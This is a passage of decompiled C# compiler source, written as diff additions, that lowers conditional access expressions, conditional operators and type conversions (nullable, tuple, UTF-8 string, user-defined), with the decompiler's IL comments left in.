(SynthesizedLocalKind)(-2)); + _currentConditionalAccessTarget = _factory.Local(localSymbol); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)conditionalAccessLoweringKind); + } + BoundExpression boundExpression2; + if (used) + { + boundExpression2 = VisitExpression(node.AccessExpression); + } + else + { + boundExpression2 = VisitUnusedExpression(node.AccessExpression); + if (boundExpression2 == null) + { + return null; + } + } + _currentConditionalAccessTarget = currentConditionalAccessTarget; + TypeSymbol type2 = VisitType(node.Type); + TypeSymbol typeSymbol = node.Type; + TypeSymbol type3 = boundExpression2.Type; + if (type3.IsVoidType()) + { + type2 = (typeSymbol = type3); + } + if (!TypeSymbol.Equals(type3, typeSymbol, (TypeCompareKind)0) && typeSymbol.IsNullableType()) + { + boundExpression2 = _factory.New((NamedTypeSymbol)typeSymbol, boundExpression2); + } + NamedTypeSymbol specialType = _compilation.GetSpecialType((SpecialType)1); + BoundExpression boundExpression3; + switch (conditionalAccessLoweringKind) + { + case ConditionalAccessLoweringKind.LoweredConditionalAccess: + boundExpression3 = new BoundLoweredConditionalAccess(node.Syntax, boundExpression, type.IsNullableType() ? UnsafeGetNullableMethod(node.Syntax, boundExpression.Type, (SpecialMember)116) : null, boundExpression2, null, id, forceCopyOfNullableValueType: true, type2); + break; + case ConditionalAccessLoweringKind.ConditionalCaptureReceiverByVal: + boundExpression = _factory.MakeSequence(_factory.AssignmentExpression(_factory.Local(localSymbol), boundExpression), _factory.Local(localSymbol)); + goto case ConditionalAccessLoweringKind.Conditional; + case ConditionalAccessLoweringKind.Conditional: + { + BoundBinaryOperator rewrittenCondition = _factory.ObjectNotEqual(_factory.Convert(specialType, boundExpression), _factory.Null(specialType)); + BoundExpression rewrittenConsequence = boundExpression2; + boundExpression3 = RewriteConditionalOperator(node.Syntax, rewrittenCondition, rewrittenConsequence, _factory.Default(typeSymbol), null, typeSymbol, isRef: false); + if (localSymbol != null) + { + boundExpression3 = _factory.MakeSequence(localSymbol, boundExpression3); + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)conditionalAccessLoweringKind); + } + return boundExpression3; + } + + public override BoundNode VisitConditionalReceiver(BoundConditionalReceiver node) + { + BoundExpression boundExpression = _currentConditionalAccessTarget; + if (boundExpression.Type.IsNullableType()) + { + boundExpression = MakeOptimizedGetValueOrDefault(node.Syntax, boundExpression); + } + return boundExpression; + } + + public override BoundNode VisitConditionalOperator(BoundConditionalOperator node) + { + BoundExpression boundExpression = VisitExpression(node.Condition); + BoundExpression boundExpression2 = VisitExpression(node.Consequence); + BoundExpression boundExpression3 = VisitExpression(node.Alternative); + if (boundExpression.ConstantValueOpt == (ConstantValue)null) + { + return node.Update(node.IsRef, boundExpression, boundExpression2, boundExpression3, node.ConstantValueOpt, node.NaturalTypeOpt, node.WasTargetTyped, node.Type); + } + return RewriteConditionalOperator(node.Syntax, boundExpression, boundExpression2, boundExpression3, node.ConstantValueOpt, node.Type, node.IsRef); + } + + private static BoundExpression RewriteConditionalOperator(SyntaxNode syntax, BoundExpression rewrittenCondition, BoundExpression rewrittenConsequence, BoundExpression rewrittenAlternative, ConstantValue? constantValueOpt, TypeSymbol rewrittenType, bool isRef) + { + ConstantValue constantValueOpt2 = rewrittenCondition.ConstantValueOpt; + if (constantValueOpt2 == ConstantValue.True) + { + return rewrittenConsequence; + } + if (constantValueOpt2 == ConstantValue.False) + { + return rewrittenAlternative; + } + return new BoundConditionalOperator(syntax, isRef, rewrittenCondition, rewrittenConsequence, rewrittenAlternative, constantValueOpt, rewrittenType, wasTargetTyped: false, rewrittenType); + } + + public override BoundNode VisitContinueStatement(BoundContinueStatement node) + { + BoundStatement boundStatement = new BoundGotoStatement(node.Syntax, node.Label, node.HasErrors); + if (Instrument && !node.WasCompilerGenerated) + { + boundStatement = Instrumenter.InstrumentContinueStatement(node, boundStatement); + } + return boundStatement; + } + + public override BoundNode VisitConversion(BoundConversion node) + { + switch (node.ConversionKind) + { + case ConversionKind.InterpolatedString: + return RewriteInterpolatedStringConversion(node); + case ConversionKind.InterpolatedStringHandler: + { + BoundExpression operand = node.Operand; + (InterpolatedStringHandlerData, ImmutableArray) tuple; + if (operand is BoundInterpolatedString { InterpolationData: var interpolationData } boundInterpolatedString) + { + if (!interpolationData.HasValue) + { + goto IL_00d8; + } + InterpolatedStringHandlerData valueOrDefault = interpolationData.GetValueOrDefault(); + ImmutableArray parts = boundInterpolatedString.Parts; + tuple = (valueOrDefault, parts); + } + else + { + if (!(operand is BoundBinaryOperator { InterpolatedStringHandlerData: { } interpolatedStringHandlerData } boundBinaryOperator)) + { + goto IL_00d8; + } + tuple = (interpolatedStringHandlerData, CollectBinaryOperatorInterpolatedStringParts(boundBinaryOperator)); + } + (InterpolatedStringHandlerData, ImmutableArray) tuple2 = tuple; + InterpolatedStringHandlerData item = tuple2.Item1; + ImmutableArray item2 = tuple2.Item2; + InterpolationHandlerResult interpolationHandlerResult = RewriteToInterpolatedStringHandlerPattern(item, item2, node.Operand.Syntax); + return interpolationHandlerResult.WithFinalResult(interpolationHandlerResult.HandlerTemp); + } + case ConversionKind.SwitchExpression: + return Visit(node.Operand); + case ConversionKind.ConditionalExpression: + return Visit(node.Operand); + case ConversionKind.ObjectCreation: + { + BoundExpression boundExpression = VisitExpression(node.Operand); + if (node.Type.IsNullableType()) + { + return ConvertToNullable(node.Syntax, node.Type, boundExpression); + } + return boundExpression; + } + case ConversionKind.ImplicitNullable: + if (node.Conversion.UnderlyingConversions[0].Kind == ConversionKind.CollectionExpression) + { + BoundExpression underlyingValue = RewriteCollectionExpressionConversion(node.Conversion.UnderlyingConversions[0], (BoundCollectionExpression)node.Operand); + return ConvertToNullable(node.Syntax, node.Type, underlyingValue); + } + break; + case ConversionKind.CollectionExpression: + { + return RewriteCollectionExpressionConversion(node.Conversion, (BoundCollectionExpression)node.Operand); + } + IL_00d8: + throw ExceptionUtilities.UnexpectedValue((object)node.Operand.Kind); + } + TypeSymbol typeSymbol = VisitType(node.Type); + bool inExpressionLambda = _inExpressionLambda; + _inExpressionLambda = _inExpressionLambda || (node.ConversionKind == ConversionKind.AnonymousFunction && !inExpressionLambda && typeSymbol.IsExpressionTree()); + InstrumentationState.IsSuppressed = _inExpressionLambda; + BoundExpression rewrittenOperand = VisitExpression(node.Operand); + _inExpressionLambda = inExpressionLambda; + InstrumentationState.IsSuppressed = _inExpressionLambda; + BoundExpression result = MakeConversionNode(node, node.Syntax, rewrittenOperand, node.Conversion, node.Checked, node.ExplicitCastInCode, node.ConstantValueOpt, typeSymbol); + _ = node.Type; + return result; + } + + public override BoundNode VisitUtf8String(BoundUtf8String node) + { + return MakeUtf8Span(node, GetUtf8ByteRepresentation(node)); + } + + private BoundExpression MakeUtf8Span(BoundExpression node, IReadOnlyList? bytes) + { + TypeSymbol type = ((NamedTypeSymbol)node.Type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.Single().Type; + SyntaxNode syntax = _factory.Syntax; + _factory.Syntax = node.Syntax; + int length = 0; + ArrayTypeSymbol arrayTypeSymbol = ArrayTypeSymbol.CreateSZArray(_compilation.Assembly, TypeWithAnnotations.Create(type)); + BoundExpression boundExpression = ((bytes == null) ? BadExpression(node.Syntax, arrayTypeSymbol, ImmutableArray.Empty) : MakeUnderlyingArrayForUtf8Span(node.Syntax, arrayTypeSymbol, bytes, out length)); + MethodSymbol symbol; + BoundExpression result = (TryGetWellKnownTypeMember(node.Syntax, (WellKnownMember)405, out symbol) ? new BoundObjectCreationExpression(node.Syntax, symbol.AsMember((NamedTypeSymbol)node.Type), boundExpression, _factory.Literal(0), _factory.Literal(length)) : BadExpression(node.Syntax, node.Type, ImmutableArray.Empty)); + _factory.Syntax = syntax; + return result; + } + + private byte[]? GetUtf8ByteRepresentation(BoundUtf8String node) + { + UTF8Encoding uTF8Encoding = new UTF8Encoding(encoderShouldEmitUTF8Identifier: false, throwOnInvalidBytes: true); + try + { + return uTF8Encoding.GetBytes(node.Value); + } + catch (Exception ex) + { + _diagnostics.Add(ErrorCode.ERR_CannotBeConvertedToUtf8, node.Syntax.Location, ex.Message); + return null; + } + } + + private BoundArrayCreation MakeUnderlyingArrayForUtf8Span(SyntaxNode syntax, ArrayTypeSymbol byteArray, IReadOnlyList bytes, out int length) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(bytes.Count + 1); + foreach (byte @byte in bytes) + { + instance.Add((BoundExpression)_factory.Literal(@byte)); + } + length = instance.Count; + instance.Add((BoundExpression)_factory.Literal((byte)0)); + return new BoundArrayCreation(syntax, ImmutableArray.Create((BoundExpression)_factory.Literal(instance.Count)), new BoundArrayInitialization(syntax, isInferred: false, instance.ToImmutableAndFree()), byteArray); + } + + private BoundExpression VisitUtf8Addition(BoundBinaryOperator node) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool flag = false; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + instance2.Add((BoundExpression)node); + while (instance2.Count != 0) + { + BoundExpression boundExpression = ArrayBuilderExtensions.Pop(instance2); + if (!(boundExpression is BoundUtf8String node2)) + { + if (boundExpression is BoundBinaryOperator boundBinaryOperator) + { + ArrayBuilderExtensions.Push(instance2, boundBinaryOperator.Right); + ArrayBuilderExtensions.Push(instance2, boundBinaryOperator.Left); + continue; + } + throw ExceptionUtilities.UnexpectedValue((object)boundExpression); + } + byte[] utf8ByteRepresentation = GetUtf8ByteRepresentation(node2); + if (utf8ByteRepresentation == null) + { + flag = true; + } + else if (!flag) + { + instance.AddRange(utf8ByteRepresentation); + } + } + instance2.Free(); + BoundExpression result = MakeUtf8Span(node, (IReadOnlyList?)(flag ? null : instance)); + instance.Free(); + return result; + } + + private static bool IsFloatingPointExpressionOfUnknownPrecision(BoundExpression rewrittenNode) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + if (rewrittenNode == null) + { + return false; + } + if (rewrittenNode.ConstantValueOpt != (ConstantValue)null) + { + return false; + } + TypeSymbol type = rewrittenNode.Type; + if ((int)type.SpecialType != 19 && (int)type.SpecialType != 18) + { + return false; + } + switch (rewrittenNode.Kind) + { + case BoundKind.Sequence: + return IsFloatingPointExpressionOfUnknownPrecision(((BoundSequence)rewrittenNode).Value); + case BoundKind.Conversion: + { + BoundConversion boundConversion = (BoundConversion)rewrittenNode; + if (boundConversion.ConversionKind == ConversionKind.Identity) + { + return !boundConversion.ExplicitCastInCode; + } + return false; + } + default: + return true; + } + } + + private BoundExpression MakeConversionNode(BoundConversion? oldNodeOpt, SyntaxNode syntax, BoundExpression rewrittenOperand, Conversion conversion, bool @checked, bool explicitCastInCode, ConstantValue? constantValueOpt, TypeSymbol rewrittenType) + { + BoundExpression boundExpression = MakeConversionNodeCore(oldNodeOpt, syntax, rewrittenOperand, conversion, @checked, explicitCastInCode, constantValueOpt, rewrittenType); + if (!_inExpressionLambda && explicitCastInCode && IsFloatingPointExpressionOfUnknownPrecision(boundExpression)) + { + boundExpression = new BoundConversion(syntax, boundExpression, Conversion.Identity, isBaseConversion: false, @checked: false, explicitCastInCode: true, null, null, boundExpression.Type); + } + return boundExpression; + } + + private BoundExpression MakeConversionNodeCore(BoundConversion? oldNodeOpt, SyntaxNode syntax, BoundExpression rewrittenOperand, Conversion conversion, bool @checked, bool explicitCastInCode, ConstantValue? constantValueOpt, TypeSymbol rewrittenType) + { + //IL_01f7: Unknown result type (might be due to invalid IL or missing references) + //IL_01fe: Invalid comparison between Unknown and I4 + //IL_02b8: Unknown result type (might be due to invalid IL or missing references) + //IL_02bf: Invalid comparison between Unknown and I4 + //IL_0206: Unknown result type (might be due to invalid IL or missing references) + //IL_020d: Invalid comparison between Unknown and I4 + //IL_039b: Unknown result type (might be due to invalid IL or missing references) + //IL_03a2: Invalid comparison between Unknown and I4 + //IL_02f4: Unknown result type (might be due to invalid IL or missing references) + //IL_02fb: Invalid comparison between Unknown and I4 + //IL_04c1: Unknown result type (might be due to invalid IL or missing references) + //IL_04c8: Invalid comparison between Unknown and I4 + if (_inExpressionLambda && !conversion.IsUserDefined) + { + @checked = @checked && NeedsCheckedConversionInExpressionTree(rewrittenOperand.Type, rewrittenType, explicitCastInCode); + } + ConversionGroup conversionGroupOpt; + switch (conversion.Kind) + { + case ConversionKind.Identity: + if (!_inExpressionLambda && rewrittenOperand.Type.Equals(rewrittenType, (TypeCompareKind)0)) + { + if (!explicitCastInCode) + { + return rewrittenOperand; + } + if (!IsFloatingPointExpressionOfUnknownPrecision(rewrittenOperand)) + { + return rewrittenOperand; + } + } + break; + case ConversionKind.ImplicitUserDefined: + case ConversionKind.ExplicitUserDefined: + return RewriteUserDefinedConversion(syntax, rewrittenOperand, conversion, @checked, rewrittenType); + case ConversionKind.IntPtr: + return RewriteIntPtrConversion(syntax, rewrittenOperand, conversion, @checked, explicitCastInCode, constantValueOpt, rewrittenType); + case ConversionKind.ImplicitNullable: + case ConversionKind.ExplicitNullable: + return RewriteNullableConversion(syntax, rewrittenOperand, conversion, @checked, explicitCastInCode, rewrittenType); + case ConversionKind.Boxing: + if (!_inExpressionLambda) + { + if (NullableNeverHasValue(rewrittenOperand)) + { + return new BoundDefaultExpression(syntax, rewrittenType); + } + BoundExpression boundExpression = NullableAlwaysHasValue(rewrittenOperand); + if (boundExpression != null) + { + return MakeConversionNode(oldNodeOpt, syntax, boundExpression, conversion, @checked, explicitCastInCode, constantValueOpt, rewrittenType); + } + } + break; + case ConversionKind.NullLiteral: + case ConversionKind.DefaultLiteral: + if (!_inExpressionLambda || !explicitCastInCode) + { + return new BoundDefaultExpression(syntax, rewrittenType); + } + break; + case ConversionKind.ImplicitReference: + case ConversionKind.ExplicitReference: + if (rewrittenOperand.IsDefaultValue() && (!_inExpressionLambda || !explicitCastInCode)) + { + return new BoundDefaultExpression(syntax, rewrittenType); + } + break; + case ConversionKind.ImplicitConstant: + conversion = Conversion.ExplicitNumeric; + @checked = false; + goto case ConversionKind.ImplicitNumeric; + case ConversionKind.ImplicitNumeric: + case ConversionKind.ExplicitNumeric: + if (rewrittenOperand.IsDefaultValue() && (!_inExpressionLambda || !explicitCastInCode)) + { + return new BoundDefaultExpression(syntax, rewrittenType); + } + if ((int)rewrittenType.SpecialType == 17 || (int)rewrittenOperand.Type.SpecialType == 17) + { + return RewriteDecimalConversion(syntax, rewrittenOperand, rewrittenOperand.Type, rewrittenType, @checked, conversion.Kind.IsImplicitConversion(), constantValueOpt); + } + break; + case ConversionKind.ImplicitTupleLiteral: + case ConversionKind.ExplicitTupleLiteral: + return rewrittenOperand; + case ConversionKind.ImplicitThrow: + { + BoundThrowExpression boundThrowExpression = (BoundThrowExpression)rewrittenOperand; + return _factory.ThrowExpression(boundThrowExpression.Expression, rewrittenType); + } + case ConversionKind.ImplicitEnumeration: + if (rewrittenType.IsNullableType()) + { + BoundExpression rewrittenOperand2 = MakeConversionNode(oldNodeOpt, syntax, rewrittenOperand, conversion, @checked, explicitCastInCode, constantValueOpt, rewrittenType.GetNullableUnderlyingType()); + Conversion implicitNullableWithIdentityUnderlying = Conversion.ImplicitNullableWithIdentityUnderlying; + return MakeConversionNode(oldNodeOpt, syntax, rewrittenOperand2, implicitNullableWithIdentityUnderlying, @checked, explicitCastInCode, constantValueOpt, rewrittenType); + } + goto case ConversionKind.ExplicitEnumeration; + case ConversionKind.ExplicitEnumeration: + if (!rewrittenType.IsNullableType() && rewrittenOperand.IsDefaultValue() && (!_inExpressionLambda || !explicitCastInCode)) + { + return new BoundDefaultExpression(syntax, rewrittenType); + } + if ((int)rewrittenType.SpecialType == 17) + { + NamedTypeSymbol enumUnderlyingType = rewrittenOperand.Type.GetEnumUnderlyingType(); + rewrittenOperand = MakeConversionNode(rewrittenOperand, enumUnderlyingType, @checked: false); + return RewriteDecimalConversion(syntax, rewrittenOperand, enumUnderlyingType, rewrittenType, @checked, isImplicit: false, constantValueOpt); + } + if ((int)rewrittenOperand.Type.SpecialType == 17) + { + NamedTypeSymbol enumUnderlyingType2 = rewrittenType.GetEnumUnderlyingType(); + BoundExpression operand = RewriteDecimalConversion(syntax, rewrittenOperand, rewrittenOperand.Type, enumUnderlyingType2, @checked, isImplicit: false, constantValueOpt); + Conversion conversion2 = conversion; + conversionGroupOpt = oldNodeOpt?.ConversionGroupOpt; + return new BoundConversion(syntax, operand, conversion2, isBaseConversion: false, @checked: false, explicitCastInCode, constantValueOpt, conversionGroupOpt, rewrittenType); + } + break; + case ConversionKind.ImplicitDynamic: + case ConversionKind.ExplicitDynamic: + return _dynamicFactory.MakeDynamicConversion(rewrittenOperand, explicitCastInCode || conversion.Kind == ConversionKind.ExplicitDynamic, conversion.IsArrayIndex, @checked, rewrittenType).ToExpression(); + case ConversionKind.ImplicitTuple: + case ConversionKind.ExplicitTuple: + return RewriteTupleConversion(syntax, rewrittenOperand, conversion, @checked, explicitCastInCode, (NamedTypeSymbol)rewrittenType); + case ConversionKind.MethodGroup: + { + if (oldNodeOpt != null) + { + TypeSymbol type = oldNodeOpt.Type; + if ((object)type != null && (int)type.TypeKind == 13) + { + BoundMethodGroup boundMethodGroup = (BoundMethodGroup)rewrittenOperand; + MethodSymbol symbolOpt = oldNodeOpt.SymbolOpt; + return new BoundFunctionPointerLoad(oldNodeOpt.Syntax, symbolOpt, (!symbolOpt.IsStatic || (!symbolOpt.IsAbstract && !symbolOpt.IsVirtual)) ? null : boundMethodGroup.ReceiverOpt?.Type, type, hasErrors: false); + } + } + BoundMethodGroup boundMethodGroup2 = (BoundMethodGroup)rewrittenOperand; + MethodSymbol symbolOpt2 = oldNodeOpt.SymbolOpt; + SyntaxNode syntax2 = _factory.Syntax; + _factory.Syntax = (boundMethodGroup2.ReceiverOpt ?? boundMethodGroup2).Syntax; + BoundExpression argument = ((!symbolOpt2.RequiresInstanceReceiver && !oldNodeOpt.IsExtensionMethod && !symbolOpt2.IsAbstract && !symbolOpt2.IsVirtual) ? _factory.Type(symbolOpt2.ContainingType) : boundMethodGroup2.ReceiverOpt); + _factory.Syntax = syntax2; + BoundDelegateCreationExpression boundDelegateCreationExpression = new BoundDelegateCreationExpression(syntax, argument, symbolOpt2, oldNodeOpt.IsExtensionMethod, wasTargetTyped: false, rewrittenType); + if (_factory.Compilation.LanguageVersion >= MessageID.IDS_FeatureCacheStaticMethodGroupConversion.RequiredVersion() && !_inExpressionLambda && (int)_factory.TopLevelMethod.MethodKind != 14 && DelegateCacheRewriter.CanRewrite(boundDelegateCreationExpression)) + { + return (_lazyDelegateCacheRewriter ?? (_lazyDelegateCacheRewriter = new DelegateCacheRewriter(_factory, _topLevelMethodOrdinal))).Rewrite(boundDelegateCreationExpression); + } + return boundDelegateCreationExpression; + } + case ConversionKind.InlineArray: + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)rewrittenType; + MethodSymbol methodSymbol = ((!namedTypeSymbol.OriginalDefinition.Equals(_compilation.GetWellKnownType((WellKnownType)276), (TypeCompareKind)63)) ? _factory.ModuleBuilderOpt.EnsureInlineArrayAsSpanExists(syntax, namedTypeSymbol.OriginalDefinition, _factory.SpecialType((SpecialType)13), ((BindingDiagnosticBag)_diagnostics).DiagnosticBag) : _factory.ModuleBuilderOpt.EnsureInlineArrayAsReadOnlySpanExists(syntax, namedTypeSymbol.OriginalDefinition, _factory.SpecialType((SpecialType)13), ((BindingDiagnosticBag)_diagnostics).DiagnosticBag)); + methodSymbol = methodSymbol.Construct(rewrittenOperand.Type, namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.Single().Type); + rewrittenOperand.Type.HasInlineArrayAttribute(out var length); + return _factory.Call(null, methodSymbol, rewrittenOperand, _factory.Literal(length), useStrictArgumentRefKinds: true); + } + } + if (oldNodeOpt == null) + { + return new BoundConversion(syntax, rewrittenOperand, conversion, isBaseConversion: false, @checked, explicitCastInCode, constantValueOpt, null, rewrittenType); + } + BoundExpression operand2 = rewrittenOperand; + Conversion conversion3 = conversion; + bool isBaseConversion = oldNodeOpt.IsBaseConversion; + bool num = @checked; + conversionGroupOpt = oldNodeOpt.ConversionGroupOpt; + return oldNodeOpt.Update(operand2, conversion3, isBaseConversion, num, explicitCastInCode, constantValueOpt, conversionGroupOpt, rewrittenType); + } + + private static bool NeedsCheckedConversionInExpressionTree(TypeSymbol? source, TypeSymbol target, bool explicitCastInCode) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + if ((object)source == null) + { + return false; + } + SpecialType val = GetUnderlyingSpecialType(source); + SpecialType val2 = GetUnderlyingSpecialType(target); + if ((explicitCastInCode || val != val2) && IsInRange(val, (SpecialType)8, (SpecialType)19)) + { + return IsInRange(val2, (SpecialType)8, (SpecialType)16); + } + return false; + static SpecialType GetUnderlyingSpecialType(TypeSymbol type) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return type.StrippedType().EnumUnderlyingTypeOrSelf().SpecialType; + } + static bool IsInRange(SpecialType type, SpecialType low, SpecialType high) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + if (low <= type) + { + return type <= high; + } + return false; + } + } + + private BoundExpression MakeConversionNode(BoundExpression rewrittenOperand, TypeSymbol rewrittenType, bool @checked, bool acceptFailingConversion = false, bool markAsChecked = false) + { + Conversion conversion = MakeConversion(rewrittenOperand, rewrittenType, @checked, _compilation, _diagnostics, acceptFailingConversion); + if (!conversion.IsValid) + { + return _factory.NullOrDefault(rewrittenType); + } + return MakeConversionNode(rewrittenOperand.Syntax, rewrittenOperand, conversion, rewrittenType, @checked); + } + + private static Conversion MakeConversion(BoundExpression rewrittenOperand, TypeSymbol rewrittenType, bool @checked, CSharpCompilation compilation, BindingDiagnosticBag diagnostics, bool acceptFailingConversion) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Invalid comparison between Unknown and I4 + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Invalid comparison between Unknown and I4 + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, compilation.Assembly); + Conversion result = compilation.Conversions.ClassifyConversionFromType(rewrittenOperand.Type, rewrittenType, @checked, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(rewrittenOperand.Syntax, useSiteInfo); + if (!result.IsValid && (!acceptFailingConversion || ((int)rewrittenOperand.Type.SpecialType != 17 && (int)rewrittenOperand.Type.SpecialType != 33))) + { + diagnostics.Add(ErrorCode.ERR_NoImplicitConv, rewrittenOperand.Syntax.Location, rewrittenOperand.Type, rewrittenType); + } + return result; + } + + private BoundExpression MakeConversionNode(SyntaxNode syntax, BoundExpression rewrittenOperand, Conversion conversion, TypeSymbol rewrittenType, bool @checked, bool explicitCastInCode = false, ConstantValue? constantValueOpt = null) + { + if (conversion.Kind.IsUserDefinedConversion()) + { + if (!TypeSymbol.Equals(rewrittenOperand.Type, conversion.BestUserDefinedConversionAnalysis.FromType, (TypeCompareKind)0)) + { + rewrittenOperand = MakeConversionNode(syntax, rewrittenOperand, conversion.UserDefinedFromConversion, conversion.BestUserDefinedConversionAnalysis.FromType, @checked); + } + if (!TypeSymbol.Equals(rewrittenOperand.Type, conversion.Method.GetParameterType(0), (TypeCompareKind)0)) + { + rewrittenOperand = MakeConversionNode(rewrittenOperand, conversion.BestUserDefinedConversionAnalysis.FromType, @checked, acceptFailingConversion: false, markAsChecked: true); + } + TypeSymbol typeSymbol = conversion.Method.ReturnType; + if (rewrittenOperand.Type.IsNullableType() && conversion.Method.GetParameterType(0).Equals(rewrittenOperand.Type.GetNullableUnderlyingType(), (TypeCompareKind)63) && !typeSymbol.IsNullableType() && typeSymbol.IsValueType) + { + typeSymbol = ((NamedTypeSymbol)rewrittenOperand.Type.OriginalDefinition).Construct(typeSymbol); + } + BoundExpression boundExpression = RewriteUserDefinedConversion(syntax, rewrittenOperand, conversion, @checked, typeSymbol); + if (!TypeSymbol.Equals(boundExpression.Type, conversion.BestUserDefinedConversionAnalysis.ToType, (TypeCompareKind)0)) + { + boundExpression = MakeConversionNode(boundExpression, conversion.BestUserDefinedConversionAnalysis.ToType, @checked, acceptFailingConversion: false, markAsChecked: true); + } + if (!TypeSymbol.Equals(boundExpression.Type, rewrittenType, (TypeCompareKind)0)) + { + boundExpression = MakeConversionNode(syntax, boundExpression, conversion.UserDefinedToConversion, rewrittenType, @checked); + } + return boundExpression; + } + return MakeConversionNode(null, syntax, rewrittenOperand, conversion, @checked, explicitCastInCode, constantValueOpt, rewrittenType); + } + + private BoundExpression RewriteTupleConversion(SyntaxNode syntax, BoundExpression rewrittenOperand, Conversion conversion, bool @checked, bool explicitCastInCode, NamedTypeSymbol rewrittenType) + { + ImmutableArray tupleElementTypesWithAnnotations = rewrittenType.TupleElementTypesWithAnnotations; + int length = tupleElementTypesWithAnnotations.Length; + ImmutableArray tupleElements = ((NamedTypeSymbol)rewrittenOperand.Type).TupleElements; + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(rewrittenOperand, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + ImmutableArray underlyingConversions = conversion.UnderlyingConversions; + for (int i = 0; i < length; i++) + { + BoundExpression rewrittenOperand2 = MakeTupleFieldAccessAndReportUseSiteDiagnostics(boundLocal, syntax, tupleElements[i]); + BoundExpression boundExpression = MakeConversionNode(syntax, rewrittenOperand2, underlyingConversions[i], tupleElementTypesWithAnnotations[i].Type, @checked, explicitCastInCode); + instance.Add(boundExpression); + } + BoundExpression boundExpression2 = MakeTupleCreationExpression(syntax, rewrittenType, instance.ToImmutableAndFree()); + return _factory.MakeSequence(boundLocal.LocalSymbol, store, boundExpression2); + } + + internal static bool NullableNeverHasValue(BoundExpression expression) + { + return expression.NullableNeverHasValue(); + } + + internal static BoundExpression? NullableAlwaysHasValue(BoundExpression expression) + { + if (!expression.Type.IsNullableType()) + { + return null; + } + if (expression is BoundObjectCreationExpression boundObjectCreationExpression) + { + ImmutableArray arguments = boundObjectCreationExpression.Arguments; + if (arguments.Length == 1) + { + return arguments[0]; + } + } + else if (expression is BoundConversion { Conversion: { Kind: ConversionKind.ImplicitNullable } conversion } boundConversion) + { + BoundExpression operand = boundConversion.Operand; + if (operand.Type.Equals(expression.Type.StrippedType(), (TypeCompareKind)63)) + { + return operand; + } + ImmutableArray underlyingConversions = conversion.UnderlyingConversions; + BoundExpression boundExpression = operand; + if (underlyingConversions.Length == 1 && underlyingConversions[0].Kind == ConversionKind.ImplicitTuple && !boundExpression.Type.IsNullableType()) + { + return new BoundConversion(expression.Syntax, boundExpression, underlyingConversions[0], boundConversion.Checked, boundConversion.ExplicitCastInCode, null, null, boundConversion.Type.StrippedType(), boundConversion.HasErrors); + } + } + return null; + } + + private BoundExpression RewriteNullableConversion(SyntaxNode syntax, BoundExpression rewrittenOperand, Conversion conversion, bool @checked, bool explicitCastInCode, TypeSymbol rewrittenType) + { + if (_inExpressionLambda) + { + return RewriteLiftedConversionInExpressionTree(syntax, rewrittenOperand, conversion, @checked, explicitCastInCode, rewrittenType); + } + TypeSymbol type = rewrittenOperand.Type; + if (type.IsNullableType() && rewrittenType.IsNullableType()) + { + return RewriteFullyLiftedBuiltInConversion(syntax, rewrittenOperand, conversion, @checked, rewrittenType); + } + if (rewrittenType.IsNullableType()) + { + BoundExpression boundExpression = MakeConversionNode(syntax, rewrittenOperand, conversion.UnderlyingConversions[0], rewrittenType.GetNullableUnderlyingType(), @checked); + MethodSymbol constructor = UnsafeGetNullableMethod(syntax, rewrittenType, (SpecialMember)117); + return new BoundObjectCreationExpression(syntax, constructor, boundExpression); + } + BoundExpression boundExpression2 = NullableAlwaysHasValue(rewrittenOperand); + if (boundExpression2 == null) + { + MethodSymbol method = UnsafeGetNullableMethod(syntax, type, (SpecialMember)115); + boundExpression2 = BoundCall.Synthesized(syntax, rewrittenOperand, (ThreeState)0, method); + } + return MakeConversionNode(syntax, boundExpression2, conversion.UnderlyingConversions[0], rewrittenType, @checked); + } + + private BoundExpression RewriteLiftedConversionInExpressionTree(SyntaxNode syntax, BoundExpression rewrittenOperand, Conversion conversion, bool @checked, bool explicitCastInCode, TypeSymbol rewrittenType) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Invalid comparison between Unknown and I4 + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Invalid comparison between Unknown and I4 + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol type = rewrittenOperand.Type; + ConversionGroup conversionGroupOpt = null; + TypeSymbol typeSymbol = type.StrippedType(); + TypeSymbol typeSymbol2 = rewrittenType.StrippedType(); + if (!TypeSymbol.Equals(typeSymbol, typeSymbol2, (TypeCompareKind)0) && ((int)typeSymbol.SpecialType == 17 || (int)typeSymbol2.SpecialType == 17)) + { + TypeSymbol typeSymbol3 = typeSymbol; + TypeSymbol typeTo = typeSymbol2; + if (typeSymbol.IsEnumType()) + { + 